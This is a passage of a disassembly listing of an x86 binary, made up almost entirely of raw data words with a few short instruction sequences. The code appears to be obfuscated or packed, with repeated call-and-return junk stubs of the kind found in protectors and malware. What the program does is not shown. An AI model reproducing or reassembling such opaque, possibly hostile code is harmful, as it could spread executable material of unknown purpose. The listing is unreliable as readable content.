		dd 52A94FEBh, 7ADF5684h, 462CE806h, 2FA72695h, 5874E52Fh
		dd 0A17D0DB8h, 2C86F574h, 8793ED15h, 32EA0745h,	0FF7658F2h
		dd 67B4DE1Ah, 0A37F49D4h, 3AFAD6EAh, 24F79D59h,	0A73ED58Eh
		dd 0FE771033h, 9C2F7E2Fh, 0FBB39348h, 330B995h,	0F143FAB2h
		dd 70C0133Fh, 2E9E5F97h, 23E901BDh, 0D16DDC42h,	72DA1EDh
		dd 917C0000h, 0C7249455h, 907ECE0Fh, 0C5259554h, 9178C809h
		dd 10E99455h, 0C100BC53h, 9E5F9771h, 0CB0AC22Eh, 9B5A927Bh
		dd 0DC3083D2h, 21E8E39Eh, 0AD5E8A06h, 16D2B171h, 0B11CAF7Ch
		dd 0FEE52F3Dh, 0B27613D2h, 0CCEDC6DEh, 446A846Ah, 12CA2797h
		dd 0B11B4A9Bh, 53F31DE5h, 0DDEE6775h, 0EBD09CCEh, 12CA2797h
		dd 18AB78D2h, 0FCEFC0C4h, 0B9AC2509h, 0A4174695h, 0FCEFC070h
		dd 0C91891BDh, 95549079h, 0F214C425h, 7850FA3Ah, 11137C95h
		dd 70A38D81h, 253E9221h, 0AF83FCF0h, 4387E426h,	4149FA29h
		dd 0CAF28094h, 1AA9907Ah, 39FB7C6h, 8009270Bh, 0DA6AB995h
		dd 8434F531h, 3C6BAB63h, 2DA4608Ch, 0B5660CC8h,	3BAC7306h
		dd 2016BCF9h, 0E04D5A75h, 0A9859019h, 0C5088141h, 34F7375h
		dd 64Fh, 0BA7BB35Eh, 0E829E50Ah, 0BB7AB258h, 0EA2BE30Bh
		dd 0BA7BB35Ah, 9A713EC7h, 0F913A362h, 0A04CFC3Dh, 0F415A564h
		dd 0E1B0F938h, 0E39DFE52h, 0E86443E8h, 0F6254F8Bh, 23A44545h
		dd 2C9FCEE5h, 0F642C7F8h, 0F5E06945h, 28A00AD9h, 0F226959Bh
		dd 3FF6430Ah, 430D3B13h, 71C11099h, 2D9D5C98h, 97C000BCh
		dd 6FB5693Dh, 0E56C8C2Ch, 7DAEC400h, 0DF1F83CEh, 0CE4C8EBh
		dd 6868644Ch, 0D0703C00h, 21000005h, 67D716CEh,	2393528Ah
		dd 60D011CDh, 3D8D4C88h, 0AAD716CEh, 39F51453h,	669E48F8h
		dd 0C3FB17A7h, 9D59B202h, 0F744155Ch, 0E8E39DA1h, 8B45C9EEh
		dd 45F6254Fh, 0E523A456h, 9424F7DBh, 0D17BBB73h, 0D0398958h
		dd 8465D514h, 2FEB8848h, 0C8269645h, 0FD3DF910h, 13B97957h
		dd 73E0393Bh, 28B4FB7h,	0C35A60D3h, 0B27EBD2h, 417F68D8h
		dd 8BA086D2h, 0E4250B2Dh, 3586B354h, 0FCF178DFh, 0EE2E002Ch
		dd 0F023498Dh, 8D6DAE43h, 29C777F2h, 5D7164EDh,	16DA69B5h
		dd 0C38FB36Fh, 533h, 0B677AF42h, 0EC2DE906h, 0B776AE5Ch
		dd 0EE2FE707h, 0B677AF5Eh, 967532CBh, 0BD2F9F5Eh, 9C70C001h
		dd 0F811A160h, 0E5B4FD3Ch, 0E39D0256h, 0E4684FE8h, 0B171AD5Eh
		dd 0EF2EE607h, 0F7244E8Ah, 2F289144h, 32F2DEE5h, 0FD39D565h
		dd 550D4774h, 9777F63Fh, 0C4299F5Fh, 0DAFAC808h, 885FF7AEh
		dd 0FACFC022h, 0D059654Dh, 732296F2h, 3F3E8CC0h, 74FDD1F6h
		dd 0E8BC79FDh, 719D2D39h, 0A96587B5h, 0C54AC369h, 3Ah
		dd 254F8B49h, 0F917A7F6h, 0DE57FD3Dh, 2F3B9CEDh, 994FE5E5h
		dd 0BCC2D3E4h, 725E4BC2h, 0E7CD07B2h, 89ADF63Fh, 3E959DDh
		dd 4FCB42CBh, 4539E801h, 0F8h, 0FC72494h, 0AD5E0A86h, 5C7E877h
		dd 92DC62B6h, 0AB83AFEFh, 3F11FA95h, 76A249FFh,	0CE995995h
		dd 92AC277Dh, 765874EFh, 0ED218B58h, 0E5BABEEh,	0D264A62Fh
		dd 9E2EFD39h, 0DE74B470h, 0CA239557h, 1960D312h, 0A2EF9292h
		dd 0E4F6E208h, 0D45DFB5Dh, 18CB03E4h, 4C03F6B2h, 0FD745474h
		dd 0BD5D8E3Eh, 0A65E8F4Bh, 0CCE2CC66h, 0A7FD4E1Fh, 0F4EF9251h
		dd 0C49351D8h, 6C5E9674h, 2FCA437Bh, 0E15281EBh, 0E52E55A8h
		dd 4918D9F5h, 2BC713F9h, 0B154DDF3h, 7FCC1F75h,	0EBCDFB30h
		dd 72C2113Dh, 12A2639Bh, 92BC3FBh, 3B686645h, 3CD4B07h
		dd 31DC0000h, 678434F5h, 30DE6EAFh, 658535F4h, 31D868A9h
		dd 0B04934F5h, 21E01CF3h, 7EBF7791h, 2BEA22CEh,	7BBA729Bh
		dd 7CD06332h, 0C1E8E39Bh, 0FBF6AE6h, 4CE626DEh,	0DE16F5C5h
		dd 863EAF1Fh, 0F4471647h, 0EF9335A0h, 0C448C1EDh, 0F6254F8Bh
		dd 2F3BF445h, 5FECBDE5h, 0F63F4009h, 0E6F37A56h, 0F75D0ACAh
		dd 9FE67DE0h, 99AA2328h, 0F63F7D3Fh, 0B454E433h, 0C514B878h
		dd 1293D333h, 6240C9E7h, 0ED6EEA06h, 0B56239E8h, 0EE000000h
		dd 0B171AD5Eh, 0EC2CE807h, 9331F059h, 0CAEF18EFh, 933A2379h
		dd 6A4468EFh, 3AF21BABh, 315D99FAh, 453B5C7Dh, 0FC2F014Ah
		dd 194FFCADh, 66EF935Ah, 99F0C34Ah, 0E6E52F5Dh,	0AA6E0BCAh
		dd 0E84213C0h, 19C09AC6h, 327159BBh, 0FF210002h, 3D0B38B1h
		dd 82EBCF49h, 1BCD7DAEh, 0BBB6AE3h, 59E928E4h, 58927AB2h
		dd 7868678Ch, 2D50844h,	0C9240000h, 8F7CCC0Dh, 0C8269657h
		dd 8D7DCD0Ch, 0C9209051h, 48B1CC0Dh, 0D918D43Bh, 86477F69h
		dd 0E322DA36h, 0C302BA53h, 3468DB8Ah, 79E8E39Bh, 0AF5ED25Eh
		dd 0E506B677h, 0A04AFA29h, 0D004B764h, 1DEF9335h
		dd 777BB831h, 0B171AD5Eh, 0DC32E607h, 0EACF0E20h, 0F49E5A78h
		dd 42F59427h, 96BAE52Fh, 0B2F1C376h, 4A8E1251h,	0D059F320h
		dd 11A09A54h, 7B465ECh,	9010A17Eh, 0CCAF6F43h, 1B16208h
		dd 68B930ECh, 0AA628939h, 7A49C06Ah, 96B1300Bh,	0DF6FBC90h
		dd 0CA02EA2Eh, 7B92A00Ah, 0EFBE6D43h, 0D033085Ch, 0F07955A7h
		dd 0B26A8333h, 4977265Ah, 0CE82BE13h, 21Fh, 8A4B836Eh
		dd 0D819D53Ah, 8B4A8268h, 0DA1BD33Bh, 8A4B836Ah, 0AA410EF7h
		dd 0E903B372h, 0B05CEC2Dh, 0E405B574h, 0F1A0E928h, 0E39A0E42h
		dd 0F87453E8h, 0B171AD5Eh, 0D004B7E6h, 1DEF9335h, 995DB831h
		dd 49F30FF5h, 86A8A91Ch, 0CB03E555h, 0F928A10Bh, 2EECEB4Ah
		dd 9D5C70E5h, 5692D4B8h, 0F845EF3Ch, 3B47822Ch,	0F043921Bh
		dd 0EBDA7851h, 67D2321Eh, 2059EF29h, 0FB284286h, 152BDD48h
		dd 8E4E62AFh, 904329EDh, 0B594D223h, 0A0735FB5h, 0FE3FF710h
		dd 89619D4Eh, 324DDB8Dh, 80074B77h, 91000001h, 3787467Eh
		dd 53E322DAh, 70C001BDh, 2D9D5C98h, 0BAC706BEh,	29E50443h
		dd 76AE58E8h, 33EB07B7h, 6DA942F2h, 7B4E5ACh, 0E8E399D1h
		dd 0BFB5391Eh, 36075DEEh, 7854EF93h, 0EC28C1F1h, 0E18B4F2Ch
		dd 0AA6E8232h, 22AB8541h, 239D40F3h, 0CC66E52Fh, 25C5EAB3h
		dd 293CB520h, 8CE1C405h, 25F69C58h, 0DB91F796h,	59B000EBh
		dd 2D01149Dh, 78CB9ACDh, 0FCEBB824h, 2F47856h, 91EB75Ah
		dd 0E99FAC25h, 61E3ED2h, 0C87BA8C2h, 0AB7AF95Dh, 6D0ECEE2h
		dd 0A310C3A9h, 0B21B6252h, 9020F3DFh, 7730B977h, 0D37957Ah
		dd 49E323DBh, 0CB9A4967h, 3A6F2478h, 0BB869C3h,	0C33A6ED5h
		dd 9118361Ah, 0CD09E252h, 0B3B32725h, 9DD1ED2Eh, 0B3h
		dd 36F72FC2h, 6CAD6986h, 37F62EDCh, 6EAF6787h, 36F72FDEh
		dd 16F5B24Bh, 3DAF1FDEh, 1CF04081h, 789121E0h, 65347DBCh
		dd 0E39882D6h, 64E8CFE8h, 806DAD5Eh, 2E8444h, 0D67A3C0h
		dd 2C046DDEh, 0B989E52Fh, 76B79955h, 6EBDD713h,	0CFBEB1DDh
		dd 92527EEBh, 0D80BC324h, 8A4A8268h, 0C40F320h,	51FCEEE2h
		dd 8737F47Dh, 396EAE66h, 2DA46089h, 781F0A1Eh, 0E11DF2A7h
		dd 427A9721h, 0E08CAC82h, 5B3717A1h, 0D935E506h, 0B1E0331Dh
		dd 1E2FE701h, 306C24CAh, 71B23B17h, 2CEC28C1h, 7ABA729Ah
		dd 0CE93FFDDh, 9020E11Dh, 337FBF77h, 3,	5E720039h, 0DBB7BB3h
		dd 56E020DCh, 74C202BAh, 2C9A5A92h, 77C101BDh, 2A9C5C98h
		dd 7CCA0AC2h, 2096568Eh, 0DDD313CBh, 1BA368h, 243C8900h
		dd 0C781E789h, 4, 8704EF83h, 685C243Ch,	617Fh, 52240C89h
		dd 0C281E289h, 4, 8704EA83h, 895C2414h,	2368241Ch, 89000079h
		dd 2ABB241Ch, 8906AF93h, 8B545BD9h, 0C483241Ch,	17F56804h
		dd 0C890000h, 24348124h, 1FC74020h, 8108438Fh, 40200873h
		dd 34FF1FC7h, 0C4815B24h, 4
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54FDCC
; ---------------------------------------------------------------------------
		dd 74B89D6Ch, 306AF9Eh,	0EE0FFC5h, 9005887Eh, 0E9470533h
		dd 0DC7E1900h, 683F2888h, 267C8825h, 9C7A7C57h,	744E0777h
		dd 1511FCF9h, 0C66C8E00h, 21242E9Eh, 34458BEAh,	217CF7C8h
		dd 0DA5F0A74h, 2522F326h, 0A2007AA2h, 0D75A722Ah, 435E7008h
		dd 0C9154F1Dh, 687D54EBh, 2D3E249Ch, 2B10405Ch,	0C11CC78Bh
		dd 657BD41Bh, 0E07BC1B9h, 676B85A8h, 3A4B64BEh,	0A944A334h
		dd 0CD63E30Eh, 0E00EFC59h, 0E8308160h, 0Ah, 0FFFF45A5h
		dd 0DE004CC9h, 0BE66A36Ch, 815F737Ch, 0D7D8D5E2h, 9AC78141h
		dd 60000059h, 0DBBF0F60h, 606061F5h, 68616161h,	1647h
		dd 59D68B66h, 5E9h, 0CB375C00h,	78B86EDh, 58E0Fh, 49BB0000h
		dd 815FA2ABh, 8EFCA9E8h, 0F0CE816Bh, 81778FCBh,	0FD63F7E8h
		dd 0E681667Ch, 0E881D6FBh, 127D1AA4h, 810789F5h, 8AE499CEh
		dd 4EF8356h, 119428BAh,	1E98325h, 0FFBC850Fh, 0BE66FFFFh
		dd 4FEBE4CBh, 0FA251C8Fh, 0C6A108ABh, 1CA4ACDAh, 5C5CD2D4h
		dd 34CE00E4h, 0CE1BF531h, 0D129B327h, 0C7DD5B34h, 0CE17E62Ah
		dd 6734DF1Bh, 0F300A6DBh, 1A004766h, 0D5A3EAh, 9C000000h
		dd 0FECA19h, 0FBFE4A00h, 87000000h, 2352DDB4h, 9C9ED920h
		dd 0E977E733h, 11A1h, 1F898529h, 0BD8306ACh, 6AC0161h
		dd 84850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0F7C4C356h,	0F2CD53D9h
		dd 0D0ADED90h, 875958Bh, 8B6006ACh, 0AC1FFDB5h,	9D8D8906h
		dd 6106AC00h, 0B8h, 35858900h, 0C206AC1Eh, 6A0004h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 24692AC3h, 0E85CFB23h, 10h, 0F5C00FE4h, 0D1102FA0h
		dd 0E5E8D85Bh, 0A6C04AC2h, 99531h, 8B5A06ACh, 53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0BDB91DFAh, 8302043Eh, 0AC1E85BDh, 9750006h,	0A29BD83h
		dd 740006ACh, 8B535013h, 4D0B8C0h, 9D8D0000h, 6AEA038h
		dd 585BD3FFh, 0A29BD83h, 740006ACh, 0B8535011h,	4D0h, 9F859D8Dh
		dd 0D3FF06AEh, 8589585Bh, 6AC141Dh, 0FD0B70Fh, 958BF8BFh
		dd 6AC21A9h, 0B70FC08Bh, 47858DC8h, 0B906AFA0h,	388749F6h
		dd 0D2B70F53h, 0BF66905Ah, 90500553h, 0A11BD89h, 858D06ACh
		dd 6AFA004h, 2870Fh, 0D0B10000h, 0D78B6650h, 6A240489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0A7F4C352h, 0CD27C866h, 8AFFAA1Eh, 1C6595FFh
		dd 6A06ACh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 8B19B5C3h, 24448BFAh, 0D98D8B04h,	8906AC2Dh
		dd 0AFA02F85h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0B589C0F6h, 6AC27ADh
		dd 1C81BD2Bh, 448B06ACh, 13E90824h, 0EB000000h,	85D34A47h
		dd 1595726h, 3A39FAD1h,	0B58F680Bh, 0BE80F6Dh, 98000000h
		dd 8B706C05h, 4F55D47Fh, 0B58976C3h, 6AC2561h, 43858959h
		dd 0B606AFA0h, 0A5BD8310h, 6AC1Ah, 151850Fh, 8D0B0000h
		dd 6AC007Dh, 1A0DBD31h,	85C606ACh, 6AC3339h, 57006A47h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 958B53B0h, 6AC0D75h,	0C8A0Fh, 8B0F0000h, 6, 840Fh, 4E80000h
		dd 0D2000000h, 0B9D49AA7h, 21C02E6Dh, 7E950h, 0D4BB0000h
		dd 0DD58AF41h, 24448B9Fh, 0E8008B04h, 0Eh, 67B89C8Ah, 8BCF8F02h
		dd 52AC06FCh, 89592557h, 0E9042444h, 0Ch, 9B30ED25h, 0F4883E76h
		dd 0DE1B4A0h, 10C28058h, 210DB5FFh, 665206ACh, 5A8C03B9h
		dd 6929858Dh, 6A06AFh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0BB0791C3h, 0FD267BDBh, 6062973Ah
		dd 0FE9h, 0E139B300h, 1DC9BED8h, 1F0E925Ch, 47497B54h
		dd 0DE8h, 25646300h, 0A8FDDC4Ch, 0F8AFAF8h, 0CE8F596h
		dd 93000000h, 838EB0D8h, 5579A4CEh, 5EA7ED92h, 0D0FF6159h
		dd 3C7DC3BAh, 0A585891Bh, 6A06AC1Ah, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 7580C351h
		dd 6860F9Fh, 89000000h,	0AC2E0DBDh, 0AE806h, 90000h, 31D7E0F5h
		dd 0CBF29632h, 8359DBB5h, 0AC0C11BDh, 850F0006h, 0EDh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 3FC35747h
		dd 0CD9D8B60h, 2906AC00h, 0AC01518Dh, 85C66106h, 6AC3339h
		dd 0AE947h, 27590000h, 0C249FC84h, 52F8D0C6h, 8C3F3868h
		dd 243481A5h, 2F838ADAh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0FAC35242h, 5E1AE6CBh, 3A252230h, 298D8B6Fh
		dd 0FF06AC15h, 0AC210DB5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0B95DA55Dh
		dd 958B4A14h, 6AC1DE5h,	6929858Dh, 6E806AFh, 0B8000000h
		dd 8D51ECA2h, 9DBD897Fh, 5A06AC01h, 6AD0FFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 11E8C4C3h
		dd 0DA8068C8h, 118589D2h, 2906AC0Ch, 0AC0B0185h, 0F5BD8306h
		dd 6AC00h, 88850Fh, 83B90000h, 0C64C97A4h, 0AC333985h
		dd 85295606h, 6AC302Dh,	75236C68h, 0CE8B6683h, 55243481h
		dd 0F9576A4Eh, 210DB5FFh, 88BA06ACh, 8D111AFCh,	0AF692985h
		dd 31852906h, 0FF06AC20h, 50006AD0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8D8B94F6h
		dd 6AC34DDh, 0F58589h, 6A06ACh,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 4B5EB7C3h, 54FEA495h
		dd 85C69AB5h, 6AC3339h,	0D2BF0F6Ch, 4E8h, 5708300h, 9E950DBh
		dd 0AE000000h, 0B885454Bh, 874B80D6h, 424448Bh,	8BD78B66h
		dd 8958B600h, 0B9042444h, 6E1FCF44h, 52006A58h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 13CDDAF9h
		dd 69BD8B48h, 8B06AC05h, 0AC202595h, 8D953306h,	0FF06AC20h
		dd 0AC1281B5h, 0FF858D06h, 8B06AC3Ah, 0AC21018Dh, 6AD0FF06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0ED07C355h, 0BD89A90Ah, 6AC01E1h,	22D8D8Bh
		dd 858906ACh, 6AFA033h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 41C35141h, 0CB8B31EFh, 0A04FBD83h, 0F0006AFh
		dd 0A385h, 0D08B6600h, 333985C6h, 0F4906ACh, 389h, 0A2C58000h
		dd 7DF02C68h, 0BE834h, 59190000h, 1BEDDE23h, 280E652Fh
		dd 0BBBA6681h, 48159CFh, 9739BD24h, 0E98D8957h,	5606AC33h
		dd 2019BD8Bh, 0FF5906ACh, 0AC1281B5h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 8D7386CFh, 0AC3AFF85h, 0B5BD8B06h, 0FF06AC19h, 458589D0h
		dd 8906AC27h, 0AFA04F85h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 8AC94537h
		dd 0FCCC8CBCh, 8953046Ah, 0AC0FD9BDh, 8A605A06h, 0D6BF0FEBh
		dd 123F6861h, 481B0B1h,	4EFDC124h, 51006A4Fh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0FC1E07BEh, 0C985292Bh, 8B06AC2Eh, 0AC27ADBDh
		dd 41BD2306h, 0E806AC22h, 4, 10000h, 28A0Fh, 0D78B0000h
		dd 8BCF8B50h, 0B9042444h, 5961B5AEh, 4489008Bh,	15B90424h
		dd 5878E5E6h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 16h,	7EC35141h, 8A0F4CDAh, 5, 6B8F7BBFh, 3006A71h, 0AC00ADBDh
		dd 2595FF06h, 6A06AC0Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 49D4C357h, 0B589ED0Ah
		dd 6AC10D1h, 0F18B6660h, 6918529h, 896106ACh, 0AFA03F85h
		dd 3785C706h, 6AFA0h, 60000000h, 34699D89h, 0B58906ACh
		dd 6AC2979h, 0E9006A61h, 0Dh, 7ACDCB57h, 3D99905Eh, 0E5129298h
		dd 698968A4h, 0CE80389h, 29000000h, 16BA9427h, 2912EE64h
		dd 8B4B5C04h, 348159FEh, 88698924h, 53006A03h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 88B0B3Bh, 37946268h
		dd 0FD8D09F3h, 5006AC09h, 8B665250h, 0E9310FF8h, 14h, 324A4446h
		dd 2D9F0681h, 0EF62E548h, 3BC4F88h, 7EB79247h, 489585Ah
		dd 0DD850924h, 6606AC00h, 6A5805B9h, 57006A0Bh,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 5A0A04AFh
		dd 840F9E81h, 6, 28A18589h, 858D06ACh, 6AFA00Ch, 0BA50DAB1h
		dd 177C1BDh, 0FC240489h, 8E960h, 6DAB0000h, 0BF54C3B5h
		dd 8166DF9Ch, 61DDBAE1h, 1AA595FFh, 6A06ACh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 411E52C3h
		dd 32A1BAD1h, 0B1FCC626h, 91958B20h, 8D06AC19h,	0AFA016B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 400E4DCEh, 6E95068h, 0B000000h, 58BBB699h
		dd 24348919h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Bh,	58C35040h, 0C14493D3h, 0F6A6948h, 84h, 0DE99000h
		dd 2B000000h, 8F7EDA2h,	0F0486254h, 0E72521B9h,	95299050h
		dd 6AC05D1h, 0C1195FFh,	6A06ACh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0A8E346C3h, 4B52586Eh
		dd 148DBD89h, 0B52906ACh, 6AC0DBDh, 850FC00Bh, 15h, 60FABF66h
		dd 61DE9h, 6850F00h, 31000000h,	0AC1FD18Dh, 0FD0FF06h
		dd 680h, 4DB53100h, 8B06AC09h, 0AFA03FB5h, 0BDB52906h
		dd 8D06AC10h, 0B5892046h, 6AC1A51h, 6A046Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0DB0685C3h
		dd 900FFBC4h, 50D08B66h, 6D8D0B90h, 0FF06AC0Bh,	0AFA04F95h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 2A78DA42h, 0BD8B4CBAh, 6AC070Dh,	840FC00Bh
		dd 2Bh,	27AD8D33h, 7FE906ACh, 6A000005h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 537AC357h
		dd 80D407E4h, 0F00207Eh, 55584h, 0C9BF0F00h, 51006A60h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 1ED3D5E9h, 0F916D990h, 8B0F5E70h, 5,	0B2E78166h, 20468D42h
		dd 1F75958Bh, 858906ACh, 6AFA03Bh, 0E9CE8B66h, 130h, 14E9h
		dd 9D238600h, 380D630Fh, 15D4BF5Ch, 0A52955A6h,	3D5D921h
		dd 45DCB96Eh, 3140012Dh, 0AC1C8195h, 66535006h,	5F76E9B9h
		dd 6A240489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0D980C350h, 8B0C88E6h,	0AC1D19BDh
		dd 0A9BD3106h, 6A06AC12h, 3D958904h, 9006AC15h,	1FBF5250h
		dd 0F099B81h, 0F5BB6031h, 0E8619E69h, 13h, 4FECA0BCh, 24EA5470h
		dd 0C7E1AE2Ah, 46913C1Eh, 5EC40B36h, 50585A61h,	8990CB8Bh
		dd 0AC01D195h, 4F95FF06h, 6A06AFA0h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 57D3C353h
		dd 8BD88B9Ch, 0AC19C9BDh, 6A5806h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 4D8916C3h, 0DF75C08Fh
		dd 0B4C2817Bh, 0B2324ADh, 39840FDBh, 0E9000000h, 0Bh, 8E99B38Ah
		dd 0E7900C0Ah, 0E9B6F7DBh, 3FEh, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0E5C35545h,	9589809Eh, 6AC0579h
		dd 0F003880h, 0FFFEE585h, 0F18166FFh, 37E92FC5h, 0F000000h
		dd 6A48CAB7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 1CA7C352h, 10E9F4h, 0EB2A0000h
		dd 0E148C963h, 3AC915D9h, 0B6C89F3Bh, 853B8E64h, 6AFA03Bh
		dd 47820Fh, 958B0000h, 6AC2981h, 0F5C3880h, 3884h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 9D6859FCh, 8B88F876h, 2F3880D0h, 0FF84850Fh,	6EB9FFFFh
		dd 893B2319h, 0AC211D8Dh, 83FC4006h, 0AFA043BDh, 840F0006h
		dd 13Bh, 50CBBF0Fh, 117496BFh, 24048960h, 1961958Bh, 896006ACh
		dd 0AC34A9B5h, 0D59D8906h, 6106AC25h, 0A0438503h, 0EF8106AFh
		dd 863F4DEh, 525050F9h,	5760310Fh, 6159535Fh, 489585Ah
		dd 46AF824h, 5798D8Bh, 509006ACh, 66525060h, 0F4D0FBFh
		dd 9E831h, 6FD30000h, 0FD216162h, 5A9B1F1Bh, 5660585Ah
		dd 90616158h, 6830Fh, 0BD8B0000h, 6AC0841h, 0A04F95FFh
		dd 6A06AFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 2A268EC3h, 2C94C1D8h, 8BCF6E29h, 86C580D8h
		dd 8D8D2358h, 0B06AC27h, 58840FDBh, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 8B5EC350h, 49BB4DFDh, 3321BD8Bh, 4FE906ACh, 6A000002h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0CB2BC357h, 0ECA5251h, 0BF0FB747h, 0D8D8BD7h
		dd 0C606AC0Eh, 6A0000h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 48EA90C3h, 0E37C9C8h, 0C4EA816Ah
		dd 5840DA2Ah, 50D6BF0Fh, 14E95250h, 4C000000h, 9D03F25Eh
		dd 8DF5B72Fh, 77CE945Bh, 0CACFE8E2h, 0FB20379h,	0DBBA6631h
		dd 89585AB7h, 0EE82404h, 16000000h, 90FD5449h, 0FFC7382Eh
		dd 0FC0EF1C1h, 0A004BFBBh, 6A5A3493h, 25B5891Eh, 6606AC35h
		dd 903045B9h, 88BF5250h, 0F419392h, 0B1525031h,	5A310F09h
		dd 50585A58h, 6690B8B5h, 228BDA81h, 0A04F95FFh,	0F6006AFh
		dd 182h, 0B966F800h, 8B6198B1h,	55006AD8h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 32CD1320h
		dd 1C5848DAh, 66F9D8B7h, 8958CF8Bh, 0AC1AA1BDh,	0FDB0B06h
		dd 1284h, 8D015100h, 6AC0A1Dh, 130E95Ah, 81660000h, 902C33D2h
		dd 12E9h, 0CF1DFA00h, 6FDBBF29h, 2D585FBAh, 787A6F1Bh
		dd 50AA6E4Ah, 5F3CB152h, 0FEE18190h, 0FF7CDF6Fh, 0AFA02FB5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0CBE780E2h, 0FD3894BDh, 1C3DB529h, 95FF06ACh
		dd 6AFA033h, 4BDCB966h,	0C00BF98Bh, 4A850Fh, 6A610000h
		dd 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 1942C351h
		dd 0EC8CDCEDh, 56D0B19Bh, 30BDBD2Bh, 0C75F06ACh, 0AFA03785h
		dd 106h, 25BD8B00h, 0E906AC11h,	82h, 8529F98Bh,	6AC2B71h
		dd 57006A61h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 3FD16C54h, 0B9A967A5h, 0C0BCD96h, 11CC681h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 6DD6DFC3h, 3BD170F2h, 0FFFA2EE9h,	52006AFFh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 5BD92F9Fh, 6640FF40h, 4E8F88Bh, 0
		dd 0E8000080h, 0Fh, 666D024Dh, 33D1B816h, 31EB50D8h, 0E9BC5FFEh
		dd 0Eh,	4B932860h, 0ED5C26A8h, 1A18D7C1h, 5059BD50h, 448BDBB2h
		dd 7E90424h, 8B000000h,	5F45C5C1h, 8BF9FDh, 89CB8B66h
		dd 60042444h, 9E8h, 8B2300h, 7E6C4BE7h,	0D98AEB9Eh, 10E95Eh
		dd 0BFBC0000h, 16BF8E74h, 7D54C957h, 7AFB315Eh,	5861B47Ch
		dd 81006AF5h, 7CCDBDF2h, 3FB5FF29h, 8006AFA0h, 95FF07F2h
		dd 6AC00F5h, 0F270D181h, 858B2DA0h, 6AFA037h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0D5C35646h, 8483CCC8h
		dd 0FE95248h, 30000000h, 2701571Eh, 7DADC83Ch, 35F3DFFDh
